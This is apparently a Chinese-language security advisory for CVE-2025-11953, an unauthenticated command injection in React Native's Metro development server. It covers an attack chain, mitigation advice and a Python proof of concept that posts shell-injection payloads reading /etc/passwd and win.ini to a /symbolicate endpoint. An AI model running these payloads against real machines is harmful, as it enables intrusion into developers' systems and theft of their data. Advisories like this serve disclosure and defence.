IPBUF安全漏洞报告
English
CVE-2025-11953 CVSS 9.8 严重

CVE-2025-11953 React Native CLI Metro开发服务器命令注入漏洞

披露日期: 2025-11-03

漏洞信息

漏洞编号
CVE-2025-11953
漏洞类型
OS命令注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
React Native Community CLI (Metro Development Server)

相关标签

CVE-2025-11953命令注入远程代码执行React NativeMetro ServerReact Native CLI无需认证网络攻击面严重漏洞移动应用开发

漏洞概述

CVE-2025-11953是React Native Community CLI中Metro开发服务器的一个严重安全漏洞,CVSS评分高达9.8分(满分10分)。该漏洞源于Metro开发服务器默认绑定到外部网络接口,并且暴露了一个存在操作系统命令注入风险的端点。攻击者无需任何认证即可通过向该服务器发送特制的POST请求,在受害者系统上执行任意可执行文件。在Windows操作系统上,攻击者甚至可以执行任意shell命令,并完全控制命令参数。此漏洞影响所有使用React Native Community CLI启动开发服务器的开发者,一旦开发服务器暴露在公网或不可信网络中,攻击者即可在开发者不知情的情况下完全控制其系统。考虑到React Native在移动应用开发中的广泛使用,此漏洞可能影响大量应用程序的开发环境安全。攻击者利用此漏洞可以窃取源代码、植入后门、横向移动到其他系统,甚至获取开发者机器的完全控制权。

技术细节

React Native Community CLI在启动Metro开发服务器时,默认会绑定到所有网络接口(0.0.0.0),而非仅限本地回环地址(127.0.0.1)。这使得开发服务器可以从外部网络访问。Metro开发服务器提供了一个特定的HTTP端点,该端点在处理用户输入时未进行充分的输入验证和命令参数清理,直接将用户可控的数据传递给底层系统命令执行函数。攻击者可以通过构造包含恶意命令的POST请求,利用分号、反引号、管道符等shell特殊字符注入额外命令。由于服务器以开发者用户权限运行,攻击者注入的命令将具有相同的系统访问权限。在Windows平台上,由于cmd.exe的命令解析特性,攻击者可以使用&&、||等操作符链接多个命令,实现更复杂的攻击链。攻击者通常会先探测开放端口,然后发送包含命令注入payload的POST请求,最后通过回连机制建立持久化访问。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者扫描目标网络,识别运行在8081端口的Metro开发服务器。通过发送HTTP GET请求确认服务器可达性,并验证其为React Native Metro服务器。
STEP 2
步骤2: 构造恶意请求
攻击者构造包含命令注入payload的POST请求。利用shell特殊字符(如分号、&、&&、|等)在正常请求参数中注入恶意命令,如读取敏感文件或下载后门程序。
STEP 3
步骤3: 发送攻击载荷
向Metro服务器的symbolicate或其他处理堆栈跟踪的端点发送特制POST请求。服务器未对输入进行安全过滤,直接将包含恶意命令的输入传递给系统命令执行函数。
STEP 4
步骤4: 命令执行
注入的命令以开发者用户权限在目标系统上执行。在Windows系统上,攻击者可以执行任意shell命令;在Linux/macOS上,可以执行任意可执行文件。
STEP 5
步骤5: 持久化与横向移动
攻击者利用初步获得的代码执行能力,下载并安装后门程序,建立持久化访问通道。进一步利用开发者环境的信任关系,横向移动到其他系统或窃取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-11953 PoC - Metro Development Server Command Injection # Target: React Native Community CLI Metro Server # Severity: Critical (CVSS 9.8) def exploit_metro_server(target_ip, target_port=8081): """ Exploit for CVE-2025-11953: Metro Development Server Command Injection This PoC demonstrates how an unauthenticated attacker can execute arbitrary commands on systems running Metro dev server exposed to network. WARNING: For authorized security testing only! """ # Check if server is reachable base_url = f"http://{target_ip}:{target_port}" try: response = requests.get(base_url, timeout=5) print(f"[*] Metro server is reachable at {base_url}") except requests.exceptions.RequestException as e: print(f"[!] Cannot reach Metro server: {e}") return False # Command injection payload for Linux/macOS linux_payload = "; cat /etc/passwd" # Command injection payload for Windows windows_payload = "& type C:\\Windows\\win.ini" # Try Linux payload print(f"[*] Sending command injection payload...") try: response = requests.post( f"{base_url}/symbolicate", json={"stack": [{"file": linux_payload}]}, timeout=10 ) print(f"[*] Response status: {response.status_code}") if "root:" in response.text or "daemon:" in response.text: print("[+] VULNERABLE! Command injection successful!") print(f"[*] Extracted /etc/passwd content:") print(response.text[:500]) return True except Exception as e: print(f"[!] Error: {e}") # Try Windows payload try: response = requests.post( f"{base_url}/symbolicate", json={"stack": [{"file": windows_payload}]}, timeout=10 ) if "for 16-bit app support" in response.text.lower(): print("[+] VULNERABLE! Windows command injection successful!") return True except: pass print("[-] Target may not be vulnerable or different endpoint required") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-11953-poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8081 exploit_metro_server(target, port)

影响范围

React Native Community CLI < 15.0.0
Metro Development Server (所有暴露于网络的版本)

防御指南

临时缓解措施
立即停止在公共网络环境中使用Metro开发服务器,或通过防火墙规则限制仅允许本地访问(将绑定地址改为127.0.0.1)。在等待官方修复期间,考虑使用网络安全工具监控针对8081端口的可疑POST请求。建议开发团队审查并收紧网络访问策略,确保开发环境与生产环境隔离。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表